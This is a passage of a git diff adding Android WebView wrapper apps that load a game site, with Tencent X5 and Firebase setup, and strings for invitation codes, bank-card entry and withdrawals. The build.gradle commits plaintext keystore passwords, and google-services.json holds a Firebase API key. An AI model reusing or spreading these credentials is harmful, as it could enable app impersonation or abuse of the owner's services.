设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/goldau/src/main/res/drawable-anydpi/ic_action_back.xml b/goldau/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/goldau/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/goldau/src/main/res/drawable-hdpi/ic_action_back.png b/goldau/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/goldau/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/goldau/src/main/res/drawable-mdpi/ic_action_back.png b/goldau/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/goldau/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/goldau/src/main/res/drawable-v24/ic_launcher_foreground.xml b/goldau/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/goldau/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/goldau/src/main/res/drawable-xhdpi/ic_action_back.png b/goldau/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/goldau/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/goldau/src/main/res/drawable-xxhdpi/ic_action_back.png b/goldau/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/goldau/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/goldau/src/main/res/drawable/big_bg.xml b/goldau/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..a71769d --- /dev/null +++ b/goldau/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/goldau/src/main/res/drawable/ic_launcher_background.xml b/goldau/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/goldau/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/goldau/src/main/res/drawable/input_bg.xml b/goldau/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/goldau/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/goldau/src/main/res/drawable/pass_word_bg.xml b/goldau/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/goldau/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/goldau/src/main/res/drawable/pass_word_bg1.xml b/goldau/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/goldau/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/goldau/src/main/res/drawable/pass_word_bg2.xml b/goldau/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/goldau/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/goldau/src/main/res/drawable/shape_btn_bg.xml b/goldau/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/goldau/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/goldau/src/main/res/drawable/shape_dialog_bg2.xml b/goldau/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/goldau/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/goldau/src/main/res/drawable/shape_dialog_bg3.xml b/goldau/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/goldau/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/goldau/src/main/res/drawable/shape_dialog_bg_new.xml b/goldau/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/goldau/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/goldau/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/goldau/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/goldau/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/goldau/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/goldau/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/goldau/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/goldau/src/main/res/mipmap-hdpi/ic_empty.png b/goldau/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/goldau/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/goldau/src/main/res/mipmap-hdpi/ic_pull_down.png b/goldau/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/goldau/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/goldau/src/main/res/mipmap-xhdpi/ic_close.png b/goldau/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/goldau/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/goldau/src/main/res/mipmap-xhdpi/ic_menu.png b/goldau/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/goldau/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/goldau/src/main/res/mipmap-xxhdpi/app_logo.png b/goldau/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..e2f74d0 Binary files /dev/null and b/goldau/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/goldau/src/main/res/values-en/strings.xml b/goldau/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/goldau/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/goldau/src/main/res/values-night/themes.xml b/goldau/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/goldau/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/goldau/src/main/res/values/colors.xml b/goldau/src/main/res/values/colors.xml new file mode 100644 index 0000000..600d6c3 --- /dev/null +++ b/goldau/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #25190e + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/goldau/src/main/res/values/strings.xml b/goldau/src/main/res/values/strings.xml new file mode 100644 index 0000000..67ecf41 --- /dev/null +++ b/goldau/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + Goldau + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/goldau/src/main/res/values/themes.xml b/goldau/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/goldau/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/goldau/src/main/res/xml/app_updater_paths.xml b/goldau/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/goldau/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/goldau/src/main/res/xml/network_security_config.xml b/goldau/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/goldau/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/goldau/src/main/res/xml/provider_paths.xml b/goldau/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/goldau/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/goldau/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/goldau/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/goldau/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/gradle.properties b/gradle.properties index 37cede8..cd7ceea 100644 --- a/gradle.properties +++ b/gradle.properties @@ -18,4 +18,4 @@ android.useAndroidX=true # Automatically convert third-party libraries to use AndroidX android.enableJetifier=true android.enableR8=false -org.gradle.jvmargs=-Xmx1536M --add-exports=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-exports=jdk.unsupported/sun.misc=ALL-UNNAMED +org.gradle.jvmargs=-Xmx4096M --add-exports=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-exports=jdk.unsupported/sun.misc=ALL-UNNAMED diff --git a/hari2spin/.gitignore b/hari2spin/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/hari2spin/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/hari2spin/build.gradle b/hari2spin/build.gradle new file mode 100644 index 0000000..b19d1a9 --- /dev/null +++ b/hari2spin/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.hari2spin" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "hari2spin" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/hari2spin/dskjweb.jks b/hari2spin/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/hari2spin/dskjweb.jks differ diff --git a/hari2spin/google-services.json b/hari2spin/google-services.json new file mode 100644 index 0000000..73e0b42 --- /dev/null +++ b/hari2spin/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "681107937479", + "project_id": "hari2spin", + "storage_bucket": "hari2spin.appspot.com" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:681107937479:android:f06fcc98a54991406086e2", + "android_client_info": { + "package_name": "com.web.hari2spin" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyD9qMSYqEKpYU_7DfZ3fiZ2yUL7ZZ4tuD0" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/hari2spin/ppn.jks b/hari2spin/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/hari2spin/ppn.jks differ diff --git a/hari2spin/proguard-rules.pro b/hari2spin/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/hari2spin/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/hari2spin/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/hari2spin/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/hari2spin/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/hari2spin/src/main/AndroidManifest.xml b/hari2spin/src/main/AndroidManifest.xml new file mode 100644 index 0000000..5e9d040 --- /dev/null +++ b/hari2spin/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/hari2spin/src/main/java/com/web/hari2spin/MainActivity.java b/hari2spin/src/main/java/com/web/hari2spin/MainActivity.java new file mode 100644 index 0000000..a787b45 --- /dev/null +++ b/hari2spin/src/main/java/com/web/hari2spin/MainActivity.java @@ -0,0 +1,50 @@ +package com.web.hari2spin; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import com.bumptech.glide.Glide; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 35; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://hari2spin.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#FFFFFF"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#FFFFFF"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",0); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(true); +// showTopV1.setImageResource(R.mipmap.start_gifs); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/hari2spin/src/main/java/com/web/hari2spin/MyFirebaseMessageingService.java b/hari2spin/src/main/java/com/web/hari2spin/MyFirebaseMessageingService.java new file mode 100644 index 0000000..cc87dc3 --- /dev/null +++ b/hari2spin/src/main/java/com/web/hari2spin/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.hari2spin; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/hari2spin/src/main/java/com/web/hari2spin/WebApplication.java b/hari2spin/src/main/java/com/web/hari2spin/WebApplication.java new file mode 100644 index 0000000..da2be3c --- /dev/null +++ b/hari2spin/src/main/java/com/web/hari2spin/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.hari2spin; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/hari2spin/src/main/res/drawable-anydpi/ic_action_back.xml b/hari2spin/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/hari2spin/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/hari2spin/src/main/res/drawable-hdpi/ic_action_back.png b/hari2spin/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/hari2spin/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/hari2spin/src/main/res/drawable-mdpi/ic_action_back.png b/hari2spin/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/hari2spin/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/hari2spin/src/main/res/drawable-v24/ic_launcher_foreground.xml b/hari2spin/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/hari2spin/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/hari2spin/src/main/res/drawable-xhdpi/ic_action_back.png b/hari2spin/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/hari2spin/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/hari2spin/src/main/res/drawable-xxhdpi/ic_action_back.png b/hari2spin/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/hari2spin/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/hari2spin/src/main/res/drawable/big_bg.xml b/hari2spin/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..c1461de --- /dev/null +++ b/hari2spin/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/hari2spin/src/main/res/drawable/ic_launcher_background.xml b/hari2spin/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/hari2spin/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/hari2spin/src/main/res/drawable/input_bg.xml b/hari2spin/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/hari2spin/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/hari2spin/src/main/res/drawable/pass_word_bg.xml b/hari2spin/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/hari2spin/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/hari2spin/src/main/res/drawable/pass_word_bg1.xml b/hari2spin/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/hari2spin/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/hari2spin/src/main/res/drawable/pass_word_bg2.xml b/hari2spin/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/hari2spin/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/hari2spin/src/main/res/drawable/shape_btn_bg.xml b/hari2spin/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/hari2spin/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/hari2spin/src/main/res/drawable/shape_dialog_bg2.xml 